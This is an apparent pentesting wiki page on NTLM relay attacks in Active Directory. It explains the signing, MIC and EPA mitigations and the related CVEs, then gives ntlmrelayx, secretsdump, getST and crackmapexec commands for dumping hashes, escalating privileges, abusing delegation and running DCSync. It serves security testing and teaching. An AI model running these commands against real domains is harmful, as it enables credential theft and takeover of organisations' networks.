Relay

Theory
After successfully forcing a victim to authenticate with LM or NTLM to an attacker's server, the attacker can try to relay that authentication to targets of his choosing. Depending on the mitigations in place, he will be able to move laterally and escalate privileges within an Active Directory domain.
The chart below sums up the expected behavior of cross-protocols NTLMv2 relay attacks depending on the mitigations in place (original here).
The following mindmap sums up the overall attack paths of NTLMv2 relay.
Session signing
Session signing is a powerful but limited mitigation against NTLM relay that only SMB and LDAP can use.
SMB signing works in a "least requirements" way. If neither the client or the server require signing, the session will not be signed (because of performance issues)
LDAP signing works in a "most requirements" way. If both the client and the server support signing, then they will sign the session
For this mitigation to protect against NTLM relay, it has to be enabled on the target server side. Session signing protects the session's integrity, not the authentication's integrity. If session signing fails on the relayed victim side, the session victim <-> attacker will be killed AFTER the authentication, hence allowing an attacker to relay that authentication and get a valid session attacker <-> target (if the target is not requiring signing).
Since the session signing is negotiated during the NTLM authentication, why couldn't attackers tamper with the messages and unset the signing negotiation flags? Because there is a protection called MIC that prevents this.
There is a strange behavior when doing cross-protocols relay (like relaying an SMB auth to an LDAP auth). When attackers try to relay NTLM blobs including signing negotiation flags to a protocol not supporting session signing (like LDAPS), the target server usually glitches and kills the authentication negotiation.
Attackers that want to avoid glitches like this need to operate an cross-protocols unsigning relay where they relay the NTLM blobs and remove the signing negotiation flags.
MIC (Message Integrity Code)
MIC (Message Integrity Code) is an optional mitigation that garantess the NTLM messages integrity. MIC prevents attackers from tampering with NTLM messages when relaying them (i.e. cross-protocols unsigning relays). With this mitigation, attackers can't remove the session signing negotiation flags. Unlike session signing, MIC protects the authentication.
On a side note, NTLMv2 responses are computed against multiples values including
the user's NT hash
the server Challenge
the AvPairs, a byte array containing the msAvFlags flag, which is used to enable the MIC
On the other hand, NTLMv1 responses do not include the AvPairs in their calculation, leaving the MIC unprotected.
In conclusion, session signing is protected by the MIC, which is enabled with the msAvFlags, which is protected by the NTLMv2 response, which can not be modified when not knowing the user's NT hash.
(Un)fortunately, there are vulnerabilities that exist that allow attackers to operate cross-protocols unsigning relays on unpatched targets.
Drop the MIC (CVE-2019-1040)
Drop the MIC 2 (CVE-2019-1166)
Stealing the session key (CVE-2019-1019)
As of november 2020, MIC was optional, but unofficial channels suggest it might've become mandatory (source).
Windows Server 2019 ISOs seem to be patched against (at least) CVE-2019-1040.
EPA (Extended Protection for Auth.)
In short, EPA (Extended Protection for Authentication) can use one or both of the following two mitigations to provide mitigation against NTLM relay for protocols that don't support session signing such HTTPS and LDAPS:
A Channel Binding Token (CBT) when there is a TLS channel to bind to (HTTPS, LDAPS)
A Service Binding information in the form of a Service Principal Name (SPN), usually when there is no TLS channel to bind to (HTTP)
For more details on how NTLM works, testers can read the MS-NLMP doc. 
Practice
The NTLM authentication messages are embedded in the packets of application protocols such as SMB, HTTP, MSSQL, SMTP, IMAP. The LM and NTLM authentication protocols are "application protocol-independent". It means one can relay LM or NTLM authentication messages over a certain protocol, say HTTP, over another, say SMB. That is called cross-protocols LM/NTLM relay. It also means the relays and attacks possible depend on the application protocol the authentication messages are embedded in.
​ntlmrelayx (Python), MultiRelay (Python) and Inveigh-Relay (Powershell) are great tools for relaying NTLM authentications. Those tools setup relay clients and relay servers waiting for incoming authentications. Once the servers are up and ready, the tester can initiate a forced authentication attack.
When combining NTLM relay with Responder for name poisoning, testers need to make sure that Responder's servers are deactivated, otherwise they will interfere with ntlmrelayx ones.
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sed -i 's/SMB = On/SMB = Off/g' /PATH/TO/Responder/Responder.conf
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sed -i 's/HTTP = On/HTTP = Off/g' /PATH/TO/Responder/Responder.conf
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Below are different use-cases of ntlmrelayx. The last "+" tab lists other interesting features that make this tool a must-have when attacking AD domains. It's important to know that many of the use-cases below can be combined.
Cred dump
SOCKS
Enum
Creation
Promotion
Delegation
DCSync
The following command will try to relay the authentication over SMB and attempt to dump the hashes from the remote target’s SAM if the relayed victim has the right privileges.
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ntlmrelayx.py -t smb://$TARGET
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The following command will try to relay the authentication and open SOCKS proxies.
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ntlmrelayx.py -tf targets.txt -socks
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The attacker will be able to use some tools along with proxychains to operate attack through the relayed authenticated session. In this case, secretsdump can be used to dump hashes from the remote target's SAM and LSA secrets.
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proxychains secretsdump.py -no-pass $DOMAIN/$USER@$TARGET
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The following command will run an enumeration of the Active Directory domain through the relayed authenticated session. The operation will create multiple .html, .json and .grep files.
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ntlmrelayx.py -t ldap://$DC_TARGET
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The following command will abuse the default value (i.e. 10) of ms-DS-MachineAccountQuota to create a domain machine account. The tester will then be able to use it for AD operations.
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ntlmrelayx.py -t ldaps://$DC_TARGET --add-computer SHUTDOWN
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Another way of creating an account is to relay a user that has that right. When the domain user has enough privileges, that account will be promoted to a privileged group.
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ntlmrelayx.py -t ldaps://$DC_TARGET
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In most cases, the --remove-mic option will be needed when relaying to LDAP(S) because of the MIC protection.
The following command will try to relay the authentication over LDAPS and escalate the privileges of a domain user by adding it to a privileged group (--escalate-user) if the relayed account has sufficient privileges.
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ntlmrelayx.py -t ldaps://$DOMAIN_CONTROLLER --escalate-user SHUTDOWN
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This technique is usually combined with a PushSubscription abuse (a.k.a. PrivExchange) to force an Exchange server to initiate an authentication, relay it to a domain controller and abuse the default high privileges of Exchange servers in AD domains (WriteDACL over domain object, see Abusing ACEs) to escalate a domain user privileges (--escalate-user).
The following command will abuse Resource Based Kerberos Constrained Delegations (RBCD) to gain admin access to the relayed machine. The --escalate-user option must be supplied with a controlled machine account name. If no machine account is controlled, the --add-computer option can be supplied instead like the "Account creation" tab before, and by targeting LDAPS instead of LDAP.
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ntlmrelayx.py -t ldaps://$DC_TARGET --escalate-user SHUTDOWN --delegate-access
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If successful, the attacker will then be able to get a service ticket with the created domain machine account for the relayed victim and impersonate any account (e.g. the domain admin) on it.
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getST.py -spn host/$RELAYED_VICTIM '$DOMAIN/$NEW_MACHINE_ACCOUNT$:$PASSWORD' -dc-ip $DOMAIN_CONTROLLER_IP -impersonate $USER_TO_IMPERSONATE
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export KRB5CCNAME=$USER_TO_IMPERSONATE.ccache
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secretsdump.py -k $RELAYED_VICTIM
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A DCSync can also be operated with a relayed NTLM authentication, but only if the target domain controller is vulnerable to Zerologon since the DRSUAPI always requires signing.
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# target vulnerable to Zerologon, dump DC's secrets only
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ntlmrelayx.py -t dcsync://'DOMAINCONTROLLER'
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​
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# target vulnerable to Zerologon, dump Domain's secrets
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ntlmrelayx.py -t dcsync://'DOMAINCONTROLLER' -auth-smb 'DOMAIN'/'LOW_PRIV_USER':'PASSWORD'
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Tips & tricks 💡
​
The ntlmrelayx tool offers features making it a very valuable asset when pentesting an Active Directory domain:
It can work with mitm6 (for DHCPv6 + DNS poisoning) by enabling IPv6 support with the -6 option (IPv6 support is not required since most hosts will send IPv4 but using this option is recommended since it will allow relay servers to work with IPv4 and IPv6)
It supports SMB2. It can be enabled with the -smb2support option
It implements CVE-2019-1040 with the --remove-mic option, usually needed when attempting "cross-protocols unsigning relays" (e.g. SMB to SMB-with-required-signing, or SMB to LDAP/S)
It has the ability to attack multiple targets with the -tf option instead of -t, and the -w option can be set to watch the target file for changes and update target list automatically
It has the ability to dump domain info when relaying to LDAP(S)
It has the ability to relay connections for specific target users to be defined in the targets file
It has the ability to relay a single connection (SMB only for now) to multiple targets, see below
Thanks to the "multi-relay" feature, another attacker machine/interface can be added to the targets to combine ntlmrelayx with Responder servers. The attackers will be able capture an NTLM response with a custom challenge on an interface/machine, while relaying on another.
The targets file used with the -tf option can contain the following
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# User filter for SMB only (for now)
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smb://DOMAIN\[email protected]
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smb://[email protected]
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​
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# Custom ports and paths can be specified
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smb://target:port
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http://target:port/somepath
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​
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# Domain name can be used instead of the IP address
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ldaps://someserver.domain.lan
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someserver.domain.lan
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​CrackMapExec (Python) has the ability to generate the list of possible targets for relay to SMB (hosts with SMB signing not required).
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crackmapexec smb --gen-relay-list targets.txt $SUBNET
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References
NTLM Relay
hackndo
Practical guide to NTLM Relaying in 2017 (A.K.A getting a foothold in under 5 minutes) // byt3bl33d3r // /dev/random > blog.py
Responder with NTLM relay and Empire
DarthSidious
Abusing Exchange: One API call away from Domain Admin
dirkjanm.io
The worst of both worlds: Combining NTLM Relaying and Kerberos delegation
dirkjanm.io
The NTLM Authentication Protocol and Security Support Provider